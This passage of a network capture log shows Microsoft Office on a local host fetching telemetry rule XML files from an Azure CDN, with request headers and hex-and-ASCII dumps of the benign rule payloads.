EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.7	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:57 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:57 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 49b561ed-d01e-0065-2706-48b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172657Z-r1cf579d778xr2r4hC1EWRqvfs00000002xg000000007s3e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:57 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.7	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:58 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:58 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 32ce5259-b01e-003e-4804-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172658Z-r1cf579d778xq4f9hC1EWRx41g00000002wg0000000018gh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:58 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:58 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:59 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 1ccbfaf0-201e-0003-3306-48f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172659Z-r1cf579d778g2t6ghC1EWRfggs00000002bg000000006ggk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:59 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:58 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:59 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 8eb9891a-501e-005b-7103-48d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172659Z-r1cf579d778xq4f9hC1EWRx41g00000002rg000000007xrs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:59 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:59 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:59 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 83446ce3-101e-0046-0a10-4891b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172659Z-r1cf579d778dfdgnhC1EWRd3w000000002ng00000000aqfr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:59 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:59 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:59 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:59 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 1ec3a3fb-701e-0001-7303-48b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172659Z-r1cf579d7789trgthC1EWRkkfc00000003q0000000003fga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:59 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:00 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:00 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: fc2f82a1-a01e-006f-4f06-4813cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172700Z-r1cf579d778zvkpnhC1EWRv23g00000003a00000000015np x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:00 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:01 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:01 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e2bfbc9d-f01e-0085-0f03-4888ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172701Z-r1cf579d778kr8xrhC1EWRfkun00000003g0000000001g00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:01 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:01 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:01 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 42c4dea6-f01e-0099-6c03-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172701Z-r1cf579d778dfdgnhC1EWRd3w000000002pg0000000098mz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:01 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:01 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:02 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 22946db9-b01e-0021-4e03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172702Z-r1cf579d77867vg8hC1EWR8knc00000002s0000000007aw7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:02 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:01 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:01 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 9a7d6e1d-d01e-00a1-4e08-4835b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172701Z-r1cf579d778mvsklhC1EWRkavg000000037g000000004pyw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:27:02 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:27:02 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:27:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:27:02 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 1dad0878-201e-0071-1606-48ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172702Z-r1cf579d7789trgthC1EWRkkfc00000003h0000000009u3v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
